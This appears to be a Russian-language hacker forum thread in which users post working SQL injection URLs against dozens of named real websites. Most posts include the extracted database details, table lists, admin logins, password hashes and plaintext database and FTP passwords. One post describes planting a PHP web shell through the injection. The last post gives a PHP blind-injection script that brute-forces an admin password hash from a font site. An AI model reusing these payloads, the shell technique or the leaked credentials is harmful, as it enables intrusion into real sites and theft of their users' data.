http://www.moto.ru/news/motonews.php?id=3917 равно http://www.moto.ru/news/motonews.php?id=3918-1 а занчит может біть скуль))
а и еще один момент! Скуль может быть при условии что: http://www.moto.ru/news/motonews.php?id=3917 равно http://www.moto.ru/news/motonews.php?id=3918-1 неравно http://www.moto.ru/news/motonews.php?id=9999
http://www.moto.ru/news/motonews.php?id=3917+or+1=1 http://www.moto.ru/news/motonews.php?id=3917+or+1=2 и поехали))
http://www.interstar.ua/mobile/catalog/?main_menu=3&id_phone=-1875+union+select+concat_ws(0x3a3a,version(),user(),database()),2--&count=1 тИЦ = 850 PageRank = 5 Version:5.0.26-Max-log User:webadmin@localhost Database:IStarmobile
http://www.equipnet.ru/equip_cat.php?cat_id=-209+union+select+concat_ws(0x3a3a,version(),user(),database())-- тИЦ = 3000 PageRank = 5 Version:5.0.75-log User:equipnet_data@localhost Database:equipnet_data
Заказчик пропал сволочь =) Кидаю в паблик. www.genialpix.net Залил шелл через скулю. http://genialpix.net/index.php?categoria=&id=-1619+union+select+1,2,3,4,5,6,0x3c3f2073797374656d28245f4745545b27636d64275d293b203f3e,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user+into+outfile+'/var/www/html/tmp/c.php'/* Рут от бд. define("DB_NAME_I", "swaptables"); define("DB_HOST_I", "localhost"); define("DB_USERNAME_I", "root"); define("DB_PASSWORD_I", "zawajiko"); Данные от фтп: FTP_HOST 84.253.182.210 FTP_USERNAME webdev FTP_PASSWORD micaqene Шопы, мерчи, etc... ________________________________________________________________________ http://www.bethelhebrew.org/news/bulletin_show.php?id=13%20UNION%20SELECT%201,2,3,convert(concat_ws(0x3A3a,user_login,user_pass)+using+latin1),5%20from%20msgs_users/* admin::4b631f451436e97276e01d5eb10d411e ________________________________________________________________________ http://www.bellyart.com.au/productDetail.php?id=-59+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3A3a,table_schema,table_name),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.tables/* ________________________________________________________________________ http://www.familyrelatives.com/information/info_detail.php?id=-96'+union+select+1,version(),3,4/* admin::e00cf25ad42683b3df678c61f42c6bda::admin1 http://www.familyrelatives.com/admin/ -админка ________________________________________________________________________ http://food.truelife.com/after_work/board.php?id=-3+union+select+1,2,3,4,concat_ws(0x3A3a,ID,USER,PASS),6,7,8,9,10,11+from+admin/* root::*210BDAB70126948BA5C27B2C9AD3068C1BD814C8 twsiteman::*87FAB66E43DD1EC6C4966796F9FEAFFA80954532 Админка http://food.truelife.com/admin Логи и пасс 1::admin:: DGTfoodworld ________________________________________________________________________ https://ghdrugs.com/product.php?cat_id=-1+union+select+1,concat(name,0x3a,pass,0x3a,email),3,4,5,6,7,8,9,10,11,12,13,14+from+webshop_admins/* https://ghdrugs.com/admin админка cody01:132722ce61ad9c643a3f4a94783c31dd:BicskA43 kacsa:97854a8e4ba36ef8c9ea711ebed54d6c:firgering Продолжение следует =)
http://www.toumaz.com/public/news.php?id=999+UNION+SELECT+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,6+-- standard::[email protected]::toumaz ========================= http://www.welsh-premier.com/news.php?ID=99999+UNIOn+SELECT+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13+-- 4.1.19::welshprem@localhost::welshprem ========================= http://www.electionguide.org/country-news.php?ID=-208+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0-- смотрим в титл (спасибо R1dex'у) 4.1.22::eguide@localhost::eguide
"Выставка деловой авиации" Code: http://2006.jetexpo.ru/?act=jet&next=-3+union+select+1,2,3,version(),5,6,7,8,9,null,11-- 5.0.67-log ______________________________________________________ "Туристическая фирма АЗАРТ" Code: http://www.hazart.ru/index.php?id=-43+union+select+1,2,3,4,5,version()-- 5.0.67-log ______________________________________________________ "IndexBox – это маркетинговые исследования, анализ и обзоры рынков" Code: http://index-box.ru/news/?news_id=-57+union+select+1,2,concat(login,0x3a,password),4,5,6,7,8,9,10,11,12+from+indexbox_users-- quake : 8fb1a40e1f09124c07763cd75f664c5c : rfrnec Code: http://index-box.ru/admin/
http://www.logsec.com/news_record.php?news_id=-82+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5+-- 4.1.22::logsec-www@localhost::logsec ============ http://www.raconline.org/news/news_details.php?news_id=-10204+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53+-- 5.0.51a::w_rac@localhost::rac ПР 7! Структура: Code: CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS bordercontact bordercontactstate bordercontacttopic borderdata bordertopic bordertopicdoc bordertopicjournal bordertopicorg bordertopicrelated bordertopicsuccess bordertopictool cam_test contactexpert contacts data deltacontact deltacontactstate deltatopic deltatopicdoc deltatopicjournal deltatopicorg deltatopicsuccess deltatopictool docpubtopic docs docsubject events experts filetest funding fundingbordertopic fundingdeltatopic fundinggranttopic glossary granttopic igdoc igevent igfunding igglossary igjournal igmap ignews igorg igtool infoguides infoguidesee journalpubtopic journals julie list listTEST listserv maps newig news newstopic organizations orggroup newig news newstopic organizations orggroup orgorggroup promotions pubtopics relationships requestors rhinaddress rhinagency rhinbureau rhindept rhinlist rhinlistparticipants rhinorg rhinpeople rhinupdate searchlog see statedoc statefunding statejournal statemap statenews stateorg states stateterr statetool stopwords subjects success successgranttopic successstate survey_aug2006 survey_june2003 survey_may2004 survey_may2007 survey_nov2004 survey_sept2005 territories test toolorggroup toolpubtopic tools topic trackuser webuse webwatch =============================== http://www.roamsecure.net/pressitem.php?news_id=-189+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10+FROM+INFORMATION_SCHEMA.TABLES+-- 5.0.45::wsusr@localhost::roamsecure Структурко: Code: CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS contentsofsite contentsofsitedev customers customersdev employment employmentdev employmentold industrylinks jobs links nav navitem news newsdev ourteam partners presskit resources
Code: http://www.alpisport.cz/index.php?desk_contain=offer/news/news_action.php&desk_height=857&nws_id=-174%20union%20select%201,2,3,4,concat(username,0x3a,password,0x3a,check_password,0x3a,company,0x3a,firstname,0x3a,surname,0x3a,city,0x3a,email,0x3a,administrator),6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20users-- Вылезает целая куча пользователей с мыльниками адресами телефонами и т.д. Пароли без шифровки. Вход на главной страничке =)
Google PR: 5/10 Yandex CY: 3600 Code: http://www.lipetsk.ru/view.php?id=-762+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,1,2,3,4,5+from+information_schema.tables+where+table_schema!=%27information_schema%27--+ Несколько сайтов походу на одной MySQL базе, в том числе база пользователей местного провайдера =)
https://www.scottiescoffee.net/store/productdetail.php?id=-11+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database()),7,8,9,10,11,12+-- 5.0.67-community::scotties_kirby@localhost::scotties_coffee =============================== http://www.keenanwinery.com/productdetail.php?id=-81+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+-- 4.1.22-standard::kwine@localhost::ssl_keenanwinery_com_-_wine =============================== http://www.sargodhatrackplant.com/productDetail.php?ID=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11+-- 5.0.51a-community::stpadmin@localhost::stpdata =============================== http://www.gpssource.com/productdetail.php?id=-146+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+-- 4.0.27::root@localhost::gpsdb =============================== http://www.gulfphotoplus.com/gppnew/ProductDetail.php?ID=-455+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+-- 5.0.22::gulfpp@localhost::gulfbcom_uks15467gpp1 =============================== http://www.arrowvalves.co.uk/productdetail.php?id=-1+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13+-- 4.0.27-standard-log::[email protected]::db157947898 =============================== http://www.splitreason.com/productdetail.php?id=-329+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,version(),user(),database()),9,10,11,12,13,14,15+-- 5.0.67-log::split_w@localhost::split_splitreason =============================== http://www.alabamacylinderhead.com/productdetail.php?id=-109+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat_ws(0x3a3a,version(),user(),database()),21,22,23,24,25,26+-- 5.0.32-Debian_7etch8-log::acheinc@localhost::alcylinder =============================== хух, на сегоднея все. Кто что интересное там раскопайте - отпишитесь в ПМ плиз )
Кому не лень покрутите +) http://www.pa-digital.com.pa/admin_pa/preview.php?id=-%2020096+union+select+%201,2/* http://bagrat.ru/index.php?page_id=-1%20union%20select%201,2,3,4,concat(version(),0x3a,database()),6%20-- http://wow.glgilde.de/gildenseite/index.php?site=news_comments&newsID=-1%20union%20select%201,2,version(),4,5,6-- http://www.favex.fi/index.php?id=9&news_action=view&news_id=-5+union%20select%201,2,table_name,4,5,6,7%20from%20information_schema.tables%20limit%2020,1%20-- http://yeshua.grrbrr.ca/news_action.phtml?article_id=-2 union select 1,2,3,4,5,6,7,8,9-- http://www.hensel-haustechnik.de/index.php?&news_action=show&news_id=- http://www.dakom.cg.yu/_eng/index.php?detaljnije&id=2%20union%20select%201,2%20--
http://www.dafont.com/ PR7 Уязвим куки параметр dfcolorid, перебором достаем хэш любого юзера. Сделал сплоит: PHP: <?php error_reporting(E_ALL); set_time_limit(0); for ($j=1; $j<50; $j++) { for ($i=1; $i<255; $i++) { $ch=curl_init(); $ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)'; curl_setopt($ch, CURLOPT_URL, "http://www.dafont.com/color.php"); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_REFERER, "http://www.dafont.com/color.php"); curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=79302419265e6a9cff6b242ced6723fa; dfu2=221554|c2fe885b93fc3ce0dc1eada368172049; dfcolorid=364822*if(ASCII(SUBSTRING((select password from user where username=0x61646D696E), $j, 1))=$i,2,1)"); $answer=curl_exec($ch); curl_close($ch); echo $i."="; $color=substr($answer,strpos($answer,'name="nbg1"')+33,6); if ($color=='66FF99') {echo "<br>Найден: ".$i; break;} } if ($i>=254) break; } ?> Не оптимизирован конечно но пох, за час достает хэш =) Admin 4d5542b0965999f5aad0fcad908d6d09
